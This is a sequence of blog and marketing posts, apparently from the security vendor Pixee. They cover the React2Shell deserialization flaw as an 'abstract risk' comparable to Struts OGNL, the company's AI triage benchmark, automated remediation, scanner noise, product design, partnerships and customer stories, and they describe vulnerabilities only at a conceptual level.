In the 2010s, the Apache Struts team made (what appears to be) a similar architectural bet: center a lot of framework behavior around an expression language, OGNL, and use it everywhere. OGNL was woven through Struts with almost no visible guard rails. In the code, there’s no clear module boundary, no “here be dragons” warnings on the API, no strong type or visibility barriers. Just innocuous helper functions like translateVariables() sitting right next to normal framework plumbing, ready to helpfully execute code passed to it.

Over that decade we saw a parade of OGNL-driven RCEs in Struts 2. The same basic pattern kept resurfacing: user-controlled data (which is everywhere in a web framework) was able to reach a code path where it got evaluated as an expression. That led to major breaches like we saw Equifax.

Now fast-forward to React2Shell. React Server Components introduced the Flight protocol and Server Functions: a way to serialize calls from client → server and deserialize them back into function calls and object graphs. The React2Shell vulnerability is essentially an unsafe-deserialization / server-side prototype pollution bug in that decoding logic, which lets an unauthenticated attacker send a crafted payload and end up running code on the server.

It’s already:

• CVSS 10.0 — things rarely correctly receive this rating.

• Affecting default configs in React 19 RSC and frameworks like Next.js App Router, React Router RSC, Waku, etc.

• Being exploited in the wild, by multiple threat actors including China-nexus groups, and has been added to CISA’s KEV catalog.

This is Concrete Risk: there’s a specific CVE (CVE-2025-55182), real exploits, IPs scanning the internet, and a due date on your patch window. Everybody understands this. Everybody is (hopefully) scrambling to patch.

The thing I’m more interested in is the Abstract Risk that was the prelude to this bug:

“We just embedded a powerful little ‘language’ / protocol into the middle of our request pipeline, and it can decide what code runs on the server.”

In Struts, the Abstract Risk looked like: OGNL is an expression language wired directly into request handling. User-controlled strings feed into it from many directions (tags, error messages, parameters…). The framework made it easy to slip from “data” into “code” by design.

In React’s case, the Abstract Risk looks like:

• The Flight protocol is not “just JSON”; it’s a mini-serialization language for modules, functions, and complex objects.

• Server Functions sit at a privileged point in your stack – they are your app logic.

• The decoding logic implicitly expands object properties and hooks into module loading and function invocation. When that layer goes wrong, it goes wrong catastrophically.

You can patch the Concrete Risk with a point release (and you should! React 19.0.1 / 19.1.2 / 19.2.1 and the matching Next.js fixes). But the Abstract Risk question is harder, more important, and hopefully survives the current news cycle:

Do we treat “introducing a new interpreter / protocol in the request path” as a P0 architectural risk class, the way we should have treated OGNL, JNDI, template engines, etc.? Or do we treat each individual CVE as an isolated surprise?

Developers and product teams will almost always fix provable, concrete bugs. There’s a PoC, there’s a KEV entry, there’s a patch. Everyone’s kind of aligned. ✅

But very few teams have a muscle for saying: “This entire pattern of feature is dangerous, even before the first CVE.” “If we ship this, we’re signing up for a decade of whack-a-mole unless we put very strong boundaries around it.” That’s the Abstract Risk: the latent cost of certain architectural choices, whose gene expression could potentially only be revealed as headlines years later. Even now, with a CVE issued, the risk will still feel abstract to the React team. They will feel like they’ve squashed the risk, and any other talk is theoretical. Nothing like taking on the Abstract stuff is discussed in their notice.

I don’t have a hot take about React’s long-term direction here. I don’t know the code well enough. But I do think we can use React2Shell as another data point in a bigger story: whenever we hide an interpreter or a powerful serialization protocol “behind the scenes” of developer ergonomics, history suggests it will eventually surface as remote code execution.

So, what do we do about this now?

Our job in AppSec and platform engineering is to get better at spotting those patterns before the CVEs pile up, and helping communicate how Abstract can become Concrete. The skillset here that will fundamentally affect your success is storytelling, metaphor, choice of battles — not the technical stuff.

If Twain was right, and history will be “rhyming” here — developers won’t perform the full-frontal assault on the Abstract Risk, and so we’ll have to deal with the fallout of many Concrete Risks over the coming years. 🍻

But, does any of it matter? We need to know if a simple “AI wrapper” from some competitor is going to get “good enough” results.

We decided to put it to the test.

We took all of our fancy tools, and put them on the sideline for a moment. We gave a SOTA reasoning model the same inputs and tools, and benchmarked the results on a high-performing SWE agent with what we think are good prompts for this task.

The Benchmark

Our benchmark data is a human-labeled mix of real-world open source vulnerabilities, anonymized examples from consenting customers, hand-crafted cases, and synthetically generated cases. It has easy cases and hard cases, and some are intentionally not decidable with just the inputs given.

We benchmark relatively concrete things (e.g., “ is it a false positive?”) and slightly fuzzier things like “is this vulnerability actually higher or lower severity than reported?”) In fairness to the wrapper, we made it easier to “pass”, and gave it some grace on the fuzzier things we measure, even though we think classifying a severity correctly, the way an enterprise does — is very important, as it drives real policy inside our customers.

So, enough already — how does it do?

Purpose-Built AI System Beats Vanilla SOTA Model By Some Distance

I’m very happy (for ourselves and the wider AI startup ecosystem) to report that moats still exist in the AI world. We performed significantly better than the “naive” SWE performance on classifying multiple aspects of a vulnerability. Note that we have many vulnerabilities that are hard to adjudicate

Our agent achieves an 89% classification accuracy on our benchmarks, while the naive agent gets around 51%.

On review of where it succeeds, we definitely notice a few patterns. It gets more of the easy, single file stuff (but not all of it), and definitely trends towards failing on the trickier cases. It tends to elevate risk where there isn’t. It succeeds when detailed knowledge of frameworks is less important to the right classification. We could dig into the data much more and try to answer questions like — does it tend to do well on the true positives, but fail on the false positives? What rule classes does it have trouble classifying?

Why Do We Outperform?

The models alone are still just not great at AppSec. Deep, nerdy aspects of vulnerabilities and exploitation specifics in the space are just not “second nature” to the weights. What combination of flags disable external entity resolution Java XML parsers (quite tricky), what types of jQuery APIs actually execute inputs, etc. There is benefit to a great knowledge base, using workflows instead of agents where appropriate, enumerating hard conditions for classification matrices, using Exploit Verification, etc. If I’m forced to speculate on why, it’s probably because there’s way more chatter about “Why did the Allies win WW2?” in the training data than there is about these esoteric security issues.

The models’ safety alignments prevent taking firm positions. Some code vulnerabilities are inconclusive, because there isn’t enough data in the codebase to make a classification. So, you must offer a model this option. But, as I’m sure you’ve seen in your usage of ChatGPT, LLMs have a hard time resisting the tendency to sit on the fence — i.e., “it’s probably nothing, but consult a a doctor!”

Well, in this case, we are the doctors, and there is no one else to call. We must reach a firm, defensible conclusion in as many situations possible.

Great, But Solution ≠ Analytics

Of course, there’s lots of other values of our platform besides the raw triage analytic accuracy, but being the best in the world at this is our table stakes. To be the World’s Best Fix Tool, you have to be the World’s Best Triage Tool.

And the best platform of the future isn’t only about what you do with the code. The future is building a Resolution Layer for your company that dynamically pulls in the right context from your systems, and plugs into your workflows the way you want. It’s got to have both inductive and deductive learning capabilities. It’s got to have a lot of things.

More to come on that in the next few weeks!

We’re cheering this on, because it matches what we’ve learned building in this space for nearly three years: autonomous remediation is real—and it’s arriving faster than many expected. But turning an impressive research result into something you can rely on in a Fortune-100 SDLC requires more than patch quality. It requires context: evidence that a fix is necessary in your environment, governance that links changes to your policies, and a change-management flow that your developers actually trust.

From research to runbooks: the enterprise bar

In open source, success = a correct, maintainable patch that passes tests and earns maintainer approval. In enterprises, the bar is higher because risk doesn’t live in code alone—it lives in systems, policies, SLAs, and people. It also has stakeholders and governors that are not on pull requests reviews. Based on what we’ve seen shipping AI remediation into production environments, a commercialized version of CodeMender (or any agent/workflow like it) needs several additional ingredients to thrive:

• Customer-specific triage FP/TP determination and “should we fix?” evidence—before code changes ever land. This is how you reduce alert fatigue and protect developer time. We all know that the vast majority of findings should never be fixed to begin with.

• Policy & standards mapping Framework versions, approved libraries, internal secure coding practices, and compatibility with how your teams actually build and deploy.

• Memory & customization Retained learnings about your preferred sanitization patterns, exception-handling styles, logging conventions, and the specific third-party libs you bless.

• Human reinforcement Clear human-in-the-loop moments where AppSec and devs can ask questions, provide clarifications, or override suggestions—so the system learns your preferences.

• Change safety Compatibility checks, performance budgets, and test-delta summaries that prove the fix is safe to ship.

• Accountability artifacts Rationale, linked policies/controls, and an audit trail that stands up to scrutiny.

• Workflow integration Smooth handoffs across SCM (GitHub/GitLab/Bitbucket), scanners (Snyk, Checkmarx, SonarQube, Polaris), CI gates (GitHub Actions/Jenkins/CircleCI), and reporting.

• Program-scale rollout The ability to coordinate fixes across hundreds of repos and teams, with ownership mapping and phased execution.

• Outcome metrics Measuring what matters—validated-backlog reduction, MTTR improvements, evidence coverage—so leaders see progress beyond vanity counts. Of course, measurable ROI that a CFO can see is what matters.

• Developer & security trust High merge rates, consistent evidence, and a body of vulnerability reports that make engineers or security teams feel confident pressing “approve.”

Attention is the spark; context is the engine. The smartest fix may be the one you don’t ship.

That last line is the crux. The research headlines (rightly) celebrate high-quality patches at speed. In the enterprise, the fastest way to reduce risk is often choosing not to change low-exposure code—and proving why that’s OK. That decision requires tenant context: asset criticality, reachable paths, compensating controls, and the reality of your deployment topologies. Research agents show how to fix; production agents must also decide what’s worth fixing now and what can wait—with evidence.

Why this matters now

Defenders and attackers are both getting faster with AI. Google says as much while rolling out CodeMender alongside updated secure-AI guidance and an AI-specific vulnerability rewards program; the intent is to arm defenders with more automation and better runbooks. In parallel, many enterprises tell us that their scanner outputs and bug backlogs have grown faster than their remediation capacity. Two results we’ve observed repeatedly when teams adopt a triage-first, context-aware approach:

• Higher merge rates (e.g., ~76%) when patches include concrete validation and align with internal patterns teams already use.

• Expert time recovery (e.g., ~91% of developer cost sits in remediation work), which means prioritization and “don’t-fix” evidence can unlock outsized savings.

Those numbers don’t argue aginst autonomous patching—they argue for making it accountable to your context. When a fix lands with clear why here/why now reasoning, confidence goes up and cycle time goes down.

How this complements Google’s direction

To their credit, Google’s framing emphasizes root-cause reasoning, self-validation, and human review for OSS maintainers—plus a proactive “hardening” mode that rewrites unsafe constructs (the libwebp buffer-safety example is a good illustration). It’s the right north star for reducing classes of bugs in the wild.

Bringing that same power inside regulated SDLCs means layering in the enterprise runbook above. In practice, that looks like:

• A context layer that sits between scanners and PRs, answering “what matters here?” with evidence—not just “what’s possible to fix?” This layer also provides the exact context necessary to enable the AI to make the right fix, the first time.

• Memory that accumulates your organization’s decisions and style, so the next patch looks like it came from your senior engineer, not a generic model.

• Human reinforcement loops that treat AppSec and developers as teachers of the system—asking questions, clarifying intent, and encoding preferences for the next round.

• Governed delivery that ties each change to policies, risk themes, and audit-ready artifacts.

Over time, this shifts the operating model from scan → fix to understand → triage → fix → validate. You still get the speed of AI patching; you also get the fit that lets your org actually adopt it at scale.

Enterprise readiness, at a glance

Checklist you can use tomorrow

☐ Customer-specific triage (FP/TP determination + “should we fix?” evidence)
☐ Policy & standards mapping (frameworks, libs, coding guidelines)
☐ Memory & customization (retained learnings, preferences, styles)
☐ Human reinforcement (human-in-the-loop questions and clarifications)
☐ Change safety (compatibility checks, perf budgets, test diffs)
☐ Accountability artifacts (rationale, links, audit trail)
☐ Workflow integration (SCM, scanners, CI gates, reporting)
☐ Program-scale rollout (hundreds of repos, owners, phased execution)
☐ Outcome metrics (validated backlog reduction, MTTR, evidence coverage)
☐ Developer & security trust (high merge rates, consistent vuln reports)

Pixee was built around this runbook — understand → triage → fix → validate → scale — and powered by a customer-specific secure code intelligence layer so suggested changes are relevant, compliant, and provably necessary for each environment.

Zooming out

If you’re a CISO or AppSec leader, this is your wake-up call. CodeMender is credible proof that autonomous remediation isn’t speculative—it’s here. The next step is making it accountable to your context, and turning it into a program in your environment. That’s how you turn findings into patches and risk reduction, limit the developer “security tax”, and move your metrics in the right direction.

Further reading:

• DeepMind announcement: “Introducing CodeMender: an AI agent for code security.”

• Google: “How we’re securing the AI frontier” (SAIF 2.0 + AI VRP)

• Coverage round-ups and early details: CSO Online, The Register, TechRadar, The Hacker News

Every CISO faces a moment of truth during application security tool evaluation and selection — a decision that will determine the success to vulnerability management at scale.

Two vendors present their solutions:

• Tool A finds 500,000 vulnerabilities in your test application…

• Tool B discovers 501,000.

The choice seems obvious - more comprehensive coverage must mean better vulnerability management, right?

Over the past 20 years, I’ve seen this seemingly straightforward question spiral the security industry down into the current, desperate situation. Decades of investment in detection capabilities, and rewarding vendors for noise, has led to an ecosystem where organizations are drowning in vulnerability backlogs.

Why Aren’t More Security Vulnerabilities “Better”?

It’s natural to think that “more coverage” (the positive spin on “high noise”) should lead to more risk elimination. Unfortunately, the sheer volume of findings often renders traditional security backlog management approaches ineffective. The fishing expedition mentality driven by fear and compliance make the wrong choice feel intuitively correct.

Fear of Missing the Critical Flaw I mean, we’re here to stop breaches, right? This fear creates powerful psychological pressure to choose tools that find everything, even when “everything” includes massive amounts of noise, leading to security alert fatigue and mistrust.

Even just one critical vulnerability in some crevice of the organization can cost billions. This fear creates powerful psychological pressure to choose tools that find everything, even when "everything" includes massive amounts of noise.

Vendor Incentive Alignment Security vendors have built entire business models around finding more issues. Companies drive the market to compete on detection capabilities, and not customer remediation rates. What happens downstream is really a “people and process problem” that sits comfortably out of their purview.

Audit and Compliance Pressures Regulatory frameworks and security audits often measure programs by their ability to identify vulnerabilities, with less focus on than their ability to eliminate them. Our tool choices end up reflecting this.

The Downstream Impact on AppSec of Scanner Noise

Choosing high-noise security tools triggers a cascade of organizational dysfunction that undermines the security posture these tools were meant to improve.

Developer Rebellion and Tool Exile When security tools generate overwhelming amounts of false positives, developers inevitably push back. They have business value to create, deadlines to meet, and limited patience for investigating issues that turn out to be irrelevant. Developers tend to be more politically powerful because they create value and outnumber security teams significantly. Their time is just way more precious. It’s just math.

This power imbalance leads to tools being relegated to the deep dark security dungeon — isolated from development workflows where they accumulate findings but cannot drive remediation. The tools continue running, generating reports that document problems without solving them.

The Bulk Suppression Reality Security professionals facing impossible triage loads resort to survival tactics that compromise security effectiveness. Even experienced analysts end up "select all, right-click, suppress" for hundreds or thousands of similar-looking findings because individual triage at scale becomes mathematically impossible.

No doubt, this systematic suppression often eliminates legitimate threats along with noise. When security professionals must process findings faster than they can properly analyze them, pattern-based suppression becomes the only viable approach - but it introduces blind spots that attackers will exploit.

Attention Fatigue and the Lost Signal The human brain cannot maintain focus when reviewing thousands of repetitive alerts. We even have a name for this psychological phenomena. Security analysts suffering from attention fatigue will inevitably miss the critical finding hidden among false positives. As one practitioner observed, "You're just never gonna get it right when you see the one" after examining similar alerts thousands of times.

A few years ago, I would tell you: measure the tools on how actionable their results are, and how good they are at finding only the subset of vulnerabilities that matter to you.

Today, my answer is different.

Why “More Vulnerabilities” Could Be Better — But Only Because of AI

Here’s the twist: finding more can be better — if and only if you can convert that detection firehose into rapid, developer‑accepted fixes. That requires an AI‑first approach to triage, evidence gathering, and remediation delivery.

The old trade‑off between coverage and remediation capacity collapses when:

1. Triage scales at the speed of inference. Large volumes aren’t a problem if machine judgment can sort out the signal from the noise, adjudicate risk, rank by exploitability, and generate proofs/evidence automatically.

2. Context is fused, not fetched. AI agents can ingest code, configs, IaC, and the results to determine if a finding is a problem here, in this repo, this environment.

3. Fixes ship where developers work. Remediation arrives as ready‑to‑review PRs/merge requests with tests and rollback guidance — not as tickets.

4. Feedback is learned, not lost. Every human decision (merge, reject, comment) becomes labeled data, continuously improving ranking and fix suggestions.

Without these capabilities, “more findings” just accelerates failure. With them, the marginal finding has near‑zero cost and sometimes uncovers the next incident‑preventing fix.

The Counterintuitive Choice (Revisited)

When you can triage, verify, and remediate at the speed of inference, “more findings” stop being a liability. The correct decision flips from pick the tool that finds fewer things to pick (or instrument) the ecosystem that can fix more things, faster.

In other words: choose the stack that turns noise into merged PRs. That’s the only coverage that matters.

This post is based on an interview with our Staff Product Designer and founding team member, Terra Caussin. You can watch the full conversation here.

Why Design Matters in Security

In an industry often hindered by technical complexity and alert fatigue, we've taken a radically different approach. As Terra puts it:

"AI gives us incredible opportunities to save users time and reduce their pain points, but in security, control and oversight are non-negotiable, right?"

This philosophy has driven us to create a platform that doesn't just fix vulnerabilities. It respects the humans who need to review, understand, and approve those fixes. The result? A 76% merge rate for our automated security fix and triage recommendations.

Meeting Teams Where They Are (Without Breaking Their Flow)

One of our core design principles is protecting developer flow state. "We made a deliberate choice not to live inside the IDE because we think that's where the focus is most fragile," Terra notes. Instead, Pixee surfaces fixes in developers' natural review environment, the SCM, where they're already in review mode.

For security teams, we provide the high level view they need across repos and tools, with in-depth triage analysis that gives them control over when and where to run deeper analysis. It's about creating a true partnership between AI and human expertise, not just automation for automation's sake.

The Power of Minimalism in Complex Spaces

Handling critical security information without overwhelming users requires thoughtful design choices. Terra’s approach centers the user experience at every step:

"I've always been a big fan of minimalism and clean lines. I don't like clutter anywhere in my life, ask my family. And that philosophy helps me create space and clarity even when the data is complex."

By applying foundational design principles like Hick's Law (fewer choices mean faster decisions) and Gestalt principles (using proximity, similarity, and negative space to guide attention), we've created interfaces that surface exactly what's needed in the moment, with easy access to deeper details when required.

Building Trust Through Clarity

Our code fixes and triage are more than automation. They're well-crafted explanations that tell the story behind each change, making them valuable to both junior developers and seasoned security pros alike. As Terra explains, Pixee is intentionally designed to "educate folks as they go while still offering the depth that experts would need or expect."

This commitment to clear communication extends throughout our platform:

• Clean data visualizations that make analysis summaries instantly understandable

• Consistent visual patterns that improve discoverability and reduce cognitive load

• Flexible views for different personas, from engineering managers needing repository metrics to CISOs requiring reporting across the entire organization.

A Design-Driven Culture from Day Zero

While Terra may technically be our only designer, she's quick to point out that "UX is really a shared responsibility. Everyone's thinking about it. Everyone's driving it, and we're truly supporting it from all angles."

This design-first mentality, combined with early investment in a design system, has allowed us to move faster while maintaining quality. We've put less emphasis on rigid processes and more on systems thinking, which has helped us go further, faster.

Looking Ahead: The Future of Security UX

As AI becomes more central to cybersecurity, we see UX playing an even more critical role in keeping humans effectively in the loop. Terra notes:

"Trust doesn't mean replacing human judgment necessarily, it means AI can take on the heavy lifting so that people can focus on the higher value problem solving and decision making together."

We're already exploring new interaction patterns that enable deeper collaboration between security teams, developers, and AI agents. Users can provide feedback, add environmental context, and flag preferences that tune our analysis to match their unique organizational needs.

Thank You to Mindgrub and the Cybersecurity Community

These Cyber UXcellence Awards, presented by Mindgrub Technologies at Black Hat USA 2025, recognize not just our design work, but our fundamental belief that security tools should empower, not overwhelm. We're honored to be recognized alongside other innovative cybersecurity companies and grateful to our customers who trust us to help keep their software safe.

As we continue building the future of security fixes, we remain committed to respecting the key pillars of developer experience: flow state, cognitive load, and feedback loops, while giving security teams the control and visibility they need.

Want to see our award-winning UX in action? Schedule a demo to discover how Pixee can transform your workflow through thoughtful, security focused UX and design.

About Pixee

Pixee is the AI Product Security Engineer that bridges the gap between developer velocity and security needs. By automating triage and delivering trusted code fixes inside existing workflows, Pixee enables teams to remediate at scale and ship secure code at the speed of business.

The application security industry began with vulnerability discovery, but now focuses heavily on prioritization. Is that really the best strategy? Rather than getting stuck ranking vulnerabilities, organizations should embrace an all-in mindset for security. In other words, stop sweeping security issues under the rug and just fix it. With our automated product security engineer, you can do this at scale.

We all have a finite amount of time and energy, so we naturally prioritize to focus on what matters most. We see a similar approach in application security. Most organizations rely on a small team of security engineers to support a large contingent of software developers, quickly becoming overwhelmed by the sheer volume of vulnerabilities. To cope, teams often adopt creative prioritization strategies, but this raises an important question: is prioritization alone enough?

The Illusion of Progress Through Prioritization

Prioritization gives teams a sense of control. By ranking vulnerabilities, teams feel they're effectively managing risk. But prioritization without remediation can become just another form of procrastination, creating an illusion of progress. For example, security teams that only prioritize critical vulnerabilities without addressing lower priority issues can inadvertently leave their organization exposed. After all, attackers only need to be right once.

Many organizations are falling into the trap and are looking at prioritization as a more sustainable solution for managing vulnerabilities and genuinely improving their security posture. Here’s why remediation deserves top billing in your program, and how it can be done at scale.

How We Got Here

The industry's approach to application security has evolved significantly over the last two decades, as broadly documented by industry groups like OWASP:

Early 2000s: The Manual Era

In the early stages, manual code reviews and penetration tests were the norm, guided by resources like the OWASP Testing Guide. While thorough, these methods were resource-intensive and challenging to scale across larger codebases.

Mid-2000s to Early 2010s: Rise of Automated Scanners

This era marked a significant shift toward automated scanning tools, increasing the scope and speed of security assessments but also introducing widespread alert fatigue, as teams struggled to address the volume of findings effectively.

Early 2010s to Present: Prioritization Becomes Commonplace

As scanning tools became ubiquitous and generated massive amounts of findings, prioritization strategies became essential. Frameworks like the OWASP Top Ten were introduced as early as 2003, but saw widespread adoption and influence increase significantly during the 2010s as prioritization strategies became essential. Despite improved prioritization, the problem of accumulating security debt persisted, prompting renewed discussions about the limitations of prioritization alone.

The overarching challenge is clear: prioritization manages vulnerabilities but doesn't eliminate them. Organizations increasingly realize this and are exploring approaches focused on remediation.

The Real Limits of Prioritization

While prioritization helps teams manage workloads, it has clear limitations:

• Persistent Security Debt: Lower priority vulnerabilities accumulate over time, making the backlog increasingly difficult to handle.

• Compliance Expectations: Regulators increasingly require comprehensive vulnerability management rather than selective prioritization. GDPR and PCI DSS explicitly penalize organizations for known but unresolved vulnerabilities.

• Lower Priority Still Means Risk: Organizations face tangible risks when vulnerabilities, regardless of initial priority, aren’t promptly remediated. T-Mobile’s 2021 data breach occurred due to long-standing security gaps left unaddressed for years, exposing sensitive data of 79 million customers. The breach has already cost T-Mobile a $350 million class-action settlement and a $15.75 million FCC fine, with further legal and regulatory actions still pending.

• Burnout Among Security Teams: Prioritization without remediation often leaves teams managing persistent vulnerability backlogs, contributing to burnout and emotional fatigue. This situation also creates significant opportunity costs, reducing the team's capacity to pursue strategic initiatives or proactive improvements. Adopting remediation frees security professionals to focus on tasks more closely aligned with their expertise, passions, and professional growth.

Why Remediation is a Better Approach

Organizations focusing more on actively remediating issues have found significant improvements. Here’s what effective remediation typically includes:

• Addressing Vulnerabilities at the Source: Proactively fixing vulnerabilities reduces overall security debt and minimizes long-term risk.

• Creating a Sustainable Security Posture: Regular and consistent remediation maintains a more manageable backlog and prevents vulnerability accumulation.

• Empowering Security Teams: Teams spend less time reviewing risk ratings and more time implementing proactive security improvements.

Balancing Prioritization with Remediation

Prioritization still matters, but as part of a larger strategy that emphasizes fixing, not just flagging vulnerabilities. Leaders should encourage a culture where prioritization naturally leads to actionable remediation, not delay.

How Pixee Helps You Remediate Effectively

Pixee directly addresses the practical challenges security teams face in remediation:

• Intelligent, Automated Triage: Quickly identify real vulnerabilities and remove noise, streamlining the remediation process.

• Context-Aware Fix Recommendations: Provide your developers with clear, precise, and actionable fixes tailored to the exact context of their code.

• Integration with Existing Development Processes: Remediation actions are integrated into your CI/CD pipeline, making security improvements seamless and frictionless for development teams.

By leveraging Pixee, teams significantly reduce their vulnerability backlog, manage security debt effectively, and achieve a more proactive, sustainable security posture.

Ready to Move from Prioritizing to Fixing?

If your team wants to move beyond prioritization and start effectively triaging and remediating vulnerabilities, Pixee can help! Schedule a Demo Today

As we leverage tools from the community, we strive to give back wherever possible. Which is why we’re joining Sentry’s Open Source pledge.

About the Pledge

The Open Source pledge is a joint effort between a group of companies to pay Open Source maintainers for their work, which benefits us all. The goal of the pledge is to:

“establish a new social norm in the tech industry of companies paying Open Source maintainers, so that burnout and related security issues such as those in XZ and Log4j can become a thing of the past.”

A mission that closely aligns with our values, and has inspired us to join the other companies that have already started to pay their share.

The pledge calls for participating companies to pay $2,000 per FTE developer to Open Source maintainers or foundations, and to commit to doing so in future years. A commitment we have already met, and are proud to continue going forward.

Open Source Pixee Supports

In the past year, we have contributed a total of $25,265 to the Open Source projects we rely on and the Open Source foundations we support:

Open Source Contributions

In addition to financial investments, we've made direct contributions to the following Open Source projects, either directly, or as part of being Pixee free tier users:

• LibCST

• Quarkus

• GitHub4j

• JUnit

• Spring Framework

• StirlingPDF

• Codemodder (Our own open source framework for building expressive codemods)

Join the Open Source Pledge

Join Pixee and other companies in supporting the Open Source pledge by visiting: https://opensourcepledge.com/

Using Word was too time-consuming. “Which format should I use?”, “Is it important to use colors?”, “What is the correct amount of detail to include for each previous employer?”

These and other factors quickly complicated the task. Add in the reason for all of this effort – searching for jobs and preparing for interviews – he became overwhelmed at a time when maintaining focus was vital.

This experience led him to build ResumeBoostAI, a suite of AI-powered tools designed to optimize job resumes and cover letters.

Security First

As he began building, the first thing that came to mind was protecting users’ personal information. Resumes contain a substantial amount of PII (Personally Identifiable Information), and handling it in the most secure way possible was his first priority. After careful consideration, he landed on an approach that met his high standards for security.

ResumeBoostAI prides itself on building a resume maker that doesn't store any personal information on the backend, aside from email addresses. The application is designed to save all the information provided for resume generation on the users’ browsers, fostering a more secure user experience. When it came time to adopt security tools for his application, Bryam chose Pixeebot as his go-to solution, explaining that:

"Pixeebot is a superb tool, the amount of features it offers and how well it works is amazing. Automation is a big part of today's life and things will get only more automated, which is why I decided to implement Pixeebot.

It makes it easy to fix security flaws and make other improvements to my code, saving me a lot of time to focus on more important things. ResumeBoostAI has been developed meticulously and plays a crucial role in helping job seekers find opportunities, which is why it's important to be able to identify any security issues in a timely manner, and fix them immediately."

What's Next for ResumeBoostAI

ResumeBoostAI is just starting out, but it has already generated more than 1,000 resumes. In addition to resume and cover letter generation, they offer resume scoring, an ATS resume checker, and a library of resume examples—all resources aimed at empowering users in their job hunt by providing them with the tools and insights needed to stand out to potential employers.

They plan to incorporate more AI-powered tools to make the product suite even more useful while keeping the price at a fraction of the cost charged by similar products. Their ultimate goal is to maintain accessibility and make it affordable for everyone, including students and those at the beginning stages of their careers. Learn more at https://resumeboostai.com.

Organizations continue to struggle to scale security and manage risk in an efficient manner. DefectDojo and Pixee are leading the charge to cover the full spectrum of DevSecOps. For the first time, companies can aggregate findings from a vast array of tools, over 170, combined with automated remediation.

With this first-of-its-kind integration between DefectDojo’s ASPM platform and Pixee’s AI-enabled auto-remediation platform, enterprises can benefit from:

• Intelligent prioritization and auto-remediation based on accurate findings, exploitability, and hardened code

• Unified risk management for faster risk elimination without added resources, improved reporting, simplified compliance

• Scalability for greater AppSec efficiency powered by automation with no additional staff, yielding more time for strategic projects

“High quality security results are the first step for successful, scalable DevSecOps initiatives,” said Greg Anderson, co-founder and CEO, DefectDojo. “Now, we can pair DefectDojo’s accurate, deduplicated findings with Pixee’s automated remediation platform for another layer of efficiency and improved risk reduction.”

“It’s exciting to experience the future when we connect DefectDojo and Pixee. For the first time, DevSecOps programs can focus on driving outcomes around remediation and mean-time-to-remediation (MTTR). With the prioritized and unified backlog provided through DefectDojo and Pixee’s ability to auto-remediate findings, we now have the closest system to an autonomous DevSecOps program,” said Surag Patel, co-founder and CEO of Pixee.

Integration Features

DefectDojo pioneered automation in vulnerability management. Scalable to millions of findings, able to ingest data from hundreds of the most popular application and infrastructure scanners, and integrated with Jira to help developers get results faster, DefectDojo is advancing risk management at global enterprises.

Pixee is leading the innovation in automated remediation, capitalizing on the power of determinism with purposefully used AI to automate the developer work of rewriting code.

The integration builds on the advanced features of both products to provide an intelligent solution that saves security teams time and money to deliver on the promise of DevSecOps.

Intelligent Prioritization and Remediation

• Produce accurate findings with less toil and targeted remediation.

• Strengthen prioritization. Attack issues by importance to your organization

• Accelerate SDLC output. Harden code. Eliminate bugs automatically.

  Unified risk management

Unified Risk Management

• Deliver strategic, board-ready reporting with verified accurate results.

• Manage risk faster. Attain MTTR reduction without additional developer and security team hours.

• Improve compliance with a 360 degree view of risk posture.

Scalability/Greater AppSec Efficiency

• Create a self-service AppSec program powered by automation.

• Repurpose AppSec talent for strategic projects.

• Increase output without adding people.

Pricing and Availability

The DefectDojo-Pixee integration is available today. DefectDojo is available as an open source project and a fully supported commercial version with additional enterprise features. Pixeebot is available for free or with enterprise features in a commercial license. Code rewriting foundation, Codemodder is an open source project.

About DefectDojo

DefectDojo is the company and the product that powers DevSecOps. Our open platform transforms security information management, connecting security strategy and informed execution for intelligent risk management. Security and DevSecOps teams can aggregate, automate, and integrate data from more than 170 security tools for a unified view of security posture and compliance, streamlined workflows, and improved decision-making. DefectDojo was created by security pros for security pros. To learn more, visit defectdojo.com.

About Pixee

Pixee builds innovative solutions that help developers produce higher quality and secure code with new tools that integrate directly into their native workflow. Its first product, Pixeebot, acts as an expert security developer on the team that is constantly reviewing and automatically hardening the codebase. Pixee is backed by Decibel Partners and Wing Venture Capital, and is trusted by tens of thousands of developers daily. Learn more at www.pixee.ai

At Pixee, we rely on our development tools to improve efficiency and maintain the high security standards necessary for today’s software applications. That’s where our story picks up today. We are seeing some duplicate processing related to the handling of a downloaded zip file. To achieve this, we planned to migrate the storage of a zip file from Amazon Elastic File System (EFS) to Amazon S3—a change aimed at simplifying our architecture and boosting performance.

The Problem

During sprint planning, a potential issue was flagged concerning a well-known class of vulnerabilities related to zip files. Zip Slip can occur when extracting files from a zip, allowing an attacker to overwrite important files, leading to remote code execution or other serious side effects.

Automated Security Checks Kick In

As the team was completing their work, a pull request was submitted to gather human, test, and tool feedback. The Sonarcloud GitHub App immediately began reviewing the new code for security issues. Within minutes, it identified a Zip Slip vulnerability, failing a Quality Gate and blocking any code merges.

Our project is configured to share any Sonar findings with Pixeebot. These findings triggered a pixeebot action that generated a fix for the newly identified vulnerability!

Seamless Security and Development

The developer quickly reviewed and merged Pixeebot’s pull request with their original changes. This merge corrected the issue, satisfying Sonarcloud’s Quality Gate, prevented the issue from impacting the production environment, keeping our customers safer.

Reflection

This experience underscored the invaluable safety net provided by our security tools. It wasn’t just about preventing a potential security issue; it was a testament to how well-integrated solutions can work in concert to not only detect but also rectify issues swiftly and efficiently. Seeing our tools perform flawlessly under pressure was both reassuring and inspiring.

Conclusion

For any of my peers in the software security industry, this incident highlights the importance of automated security within CI/CD pipelines. It’s a reminder of the power of tools like Sonarcloud and Pixeebot to not only find but fix problems, ensuring that our applications are not just functional but fundamentally secure.

Through proactive security practices and the right tools, we can make significant strides in protecting our infrastructures and data. Let our story be a reminder of the continuous vigilance and innovation needed in our field.

To learn more about integrating Pixeebot with your security tools, head over to https://docs.pixee.ai/code-scanning-tools/overview/

Anthony Stirling was on the hunt for a PDF website but was unable to find exactly what he was looking for. He consistently found the tools to be lacking in functionality, prohibitively costly, lacking a Docker version, and in some cases, simply untrustworthy. Rather than settling for an inadequate solution, he set out to build his own.

Starting Off With a Challenge

Anthony started the project with two main parameters in place. A 24-hour time limit, and using only Chat GPT to build it. The next day, with v1 of the project completed, he decided to share it on Reddit. His post was met with an enthusiastic response, validating the hunch that a locally hosted, trusted, and free PDF application was a necessity for many.

Fast forward to today, and that solo project has grown into an active, open source project with nearly 100 contributors, and over 19,000 stars on GitHub. The project aims to provide fully locally owned software, with zero tracking, that eliminates the need for overpriced tooling.

While zero tracking complicates determining the exact user count, it’s confirmed that at least 50 universities and educational establishments have deployed Stirling-PDF to date. A testament to the commitment Anthony and fellow contributors have to providing an excellent tool, and user experience.

Evolving Over Time

